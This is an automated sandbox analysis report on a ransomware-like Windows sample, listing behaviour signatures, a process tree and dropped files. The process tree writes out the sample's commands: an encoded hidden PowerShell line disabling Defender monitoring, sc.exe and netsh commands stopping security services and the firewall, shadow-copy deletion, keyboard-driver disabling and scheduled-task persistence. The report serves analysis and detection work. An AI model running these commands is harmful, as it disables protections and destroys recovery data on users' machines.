Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    16/10/2026, 22:34

General

  • Target
    2026-10-15_158816d1de9961772696e1e1e318ee0b_destroyer_elex_glassworm_ngrbot_wannacry.exe
  • Size 49KB
  • Sample261016-2hb8dsssev
  • SHA256 04a046af88fe46be7517f1edc9af60ecde0d8ae992a1158f6cdb1e36aa90c340
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Detects command variations typically used by ransomware 1 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 4 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-15_158816d1de9961772696e1e1e318ee0b_destroyer_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-15_158816d1de9961772696e1e1e318ee0b_destroyer_elex_glassworm_ngrbot_wannacry.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Reads the TCP/IP host and domain name from the registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5280
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5492
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:5344
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3452
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:252
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:1256
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:2124
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:3044
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:2964
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:2768
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5840
      • C:\Users\Admin\AppData\Local\Temp\2026-10-15_158816d1de9961772696e1e1e318ee0b_destroyer_elex_glassworm_ngrbot_wannacry.exe
        "C:\Users\Admin\AppData\Local\Temp\2026-10-15_158816d1de9961772696e1e1e318ee0b_destroyer_elex_glassworm_ngrbot_wannacry.exe"
        3⤵
          PID:3444
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:3872
      • C:\Windows\SYSTEM32\schtasks.exe
        "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-10-15_158816d1de9961772696e1e1e318ee0b_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:6080
      • C:\Windows\System32\notepad.exe
        "C:\Windows\System32\notepad.exe"
        2⤵
          PID:5380
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:252
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:4716
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Reads the TCP/IP host and domain name from the registry
            • Suspicious behavior: EnumeratesProcesses
            PID:3628
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5796
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:5620
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4292
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Discovers running processes
            PID:6140
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4420
          • C:\Windows\System32\Conhost.exe
            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            3⤵
              PID:2124
            • C:\Windows\system32\whoami.exe
              whoami
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3412
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4568
            • C:\Windows\system32\net.exe
              net user
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4760
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 user
                4⤵
                  PID:3184
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:4524
              • C:\Windows\system32\ipconfig.exe
                ipconfig /all
                3⤵
                • Gathers network information
                PID:3920
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:1304
              • C:\Windows\system32\NETSTAT.EXE
                netstat -an
                3⤵
                • Gathers network information
                PID:5692
            • C:\Windows\SYSTEM32\schtasks.exe
              "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-10-15_158816d1de9961772696e1e1e318ee0b_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f
              2⤵
              • Scheduled Task/Job: Scheduled Task
              PID:4228
            • C:\Windows\System32\wscript.exe
              "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
              2⤵
              • Executes a VBScript file via the Windows Script Host.
              PID:2220
            • C:\Windows\System32\vssadmin.exe
              "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
              2⤵
              • Interacts with shadow copies
              PID:4672
            • C:\Windows\System32\wbem\WMIC.exe
              "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
              2⤵
              • Reads the TCP/IP host and domain name from the registry
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2064
              • C:\Windows\System32\Conhost.exe
                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                3⤵
                  PID:2964
              • C:\Windows\System32\net.exe
                "C:\Windows\System32\net.exe" stop srservice
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2300
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop srservice
                  3⤵
                    PID:1620
                • C:\Windows\System32\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:896
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                  2⤵
                  • Launches sc.exe
                  PID:5348
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" stop i8042prt
                  2⤵
                  • Launches sc.exe
                  PID:4832
              • C:\Windows\system32\LogonUI.exe
                "LogonUI.exe" /flags:0x0 /state0:0xa3a1f855 /state1:0x41c64e6d
                1⤵
                • Drops file in System32 directory
                • Drops file in Windows directory
                • Checks processor information in registry
                • Modifies data under HKEY_USERS
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                PID:1452
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k CameraMonitor
                1⤵
                  PID:4120
                • C:\Users\Admin\AppData\Local\Temp\2026-10-15_158816d1de9961772696e1e1e318ee0b_destroyer_elex_glassworm_ngrbot_wannacry.exe
                  C:\Users\Admin\AppData\Local\Temp\2026-10-15_158816d1de9961772696e1e1e318ee0b_destroyer_elex_glassworm_ngrbot_wannacry.exe
                  1⤵
                    PID:3544
                  • C:\Users\Admin\AppData\Local\Temp\2026-10-15_158816d1de9961772696e1e1e318ee0b_destroyer_elex_glassworm_ngrbot_wannacry.exe
                    C:\Users\Admin\AppData\Local\Temp\2026-10-15_158816d1de9961772696e1e1e318ee0b_destroyer_elex_glassworm_ngrbot_wannacry.exe
                    1⤵
                      PID:700
                    • C:\Windows\system32\vssvc.exe
                      C:\Windows\system32\vssvc.exe
                      1⤵
                        PID:3536

                      Network

                            MITRE ATT&CK Enterprise v16

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                            Downloads

                            doc_2.pdf

                            • Path C:\SystemVolumeInformation\doc_2.pdf
                            • Size 66KB
                            • SHA256 f0386c1349c455f61d01be3d25894156c4023937b3353b67600ad6155f73e3c6
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            __PSScriptPolicyTest_ccyeg5ts.m4j.ps1

                            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ccyeg5ts.m4j.ps1
                            • Size 60B
                            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                            • MD5 SHA1 SHA512 TLSH

                            createshortcut.vbs

                            • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                            • Size 309B
                            • SHA256 da82887ed62eab97315068dadb515b5b7b9ca86ab0e79362c1c330e141c3134a
                            • MD5 SHA1 SHA512 TLSH

                            del.bat

                            • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                            • Size 59B
                            • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                            • MD5 SHA1 SHA512 TLSH

                            makelnk.vbs

                            • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                            • Size 310B
                            • SHA256 93630db0eb2f79d3b8209dd55e715d95bb757864004bde057d08fa23669c068d
                            • MD5 SHA1 SHA512 TLSH

                            invoice_1.pdf

                            • Path C:\Users\Admin\Documents\invoice_1.pdf
                            • Size 66KB
                            • SHA256 f49ef9cd337cf73b587c2ae6eb5ba6615193bbf1fada0978cc78696ac580ece9
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            memory/5280-10-0x00007FF9F3CC0000-0x00007FF9F4664000-memory.dmp

                            memory/5280-2269-0x00007FF9F3CC0000-0x00007FF9F4664000-memory.dmp

                            memory/5280-0-0x00007FF9F3E4F000-0x00007FF9F3E50000-memory.dmp

                            memory/5280-12-0x00007FF9F3CC0000-0x00007FF9F4664000-memory.dmp

                            memory/5280-13-0x00007FF9F3CC0000-0x00007FF9F4664000-memory.dmp

                            memory/5280-14-0x00007FF9F3CC0000-0x00007FF9F4664000-memory.dmp

                            memory/5280-15-0x00007FF9F3CC0000-0x00007FF9F4664000-memory.dmp

                            memory/5280-9-0x000000001E090000-0x000000001E5B8000-memory.dmp

                            memory/5280-8-0x000000001D6A0000-0x000000001D862000-memory.dmp

                            memory/5280-5-0x00007FF9F3CC0000-0x00007FF9F4664000-memory.dmp

                            memory/5280-11-0x00007FF9F3CC0000-0x00007FF9F4664000-memory.dmp

                            memory/5280-2263-0x00007FF9F3CC0000-0x00007FF9F4664000-memory.dmp

                            memory/5280-2266-0x00007FF9F3CC0000-0x00007FF9F4664000-memory.dmp

                            memory/5280-2264-0x00007FF9F3CC0000-0x00007FF9F4664000-memory.dmp

                            memory/5280-4-0x00007FF9F3CC0000-0x00007FF9F4664000-memory.dmp

                            memory/5280-3-0x00007FF9F3CC0000-0x00007FF9F4664000-memory.dmp

                            memory/5280-2-0x00007FF9F3CC0000-0x00007FF9F4664000-memory.dmp

                            memory/5280-2262-0x00007FF9F3CC0000-0x00007FF9F4664000-memory.dmp

                            memory/5280-1-0x0000000000090000-0x00000000000A2000-memory.dmp

                            memory/5280-2257-0x00007FF9F3CC0000-0x00007FF9F4664000-memory.dmp

                            memory/5280-2260-0x00007FF9F3CC0000-0x00007FF9F4664000-memory.dmp

                            memory/5280-2261-0x00007FF9F3CC0000-0x00007FF9F4664000-memory.dmp

                            memory/5380-2251-0x0000013BB0CE0000-0x0000013BB0CE1000-memory.dmp

                            memory/5492-24-0x000002036CE00000-0x000002036CE22000-memory.dmp

                            memory/5492-1670-0x000002036D280000-0x000002036D28A000-memory.dmp

                            memory/5492-1490-0x000002036D1C0000-0x000002036D272000-memory.dmp

                            memory/5492-1422-0x000002036D1A0000-0x000002036D1BE000-memory.dmp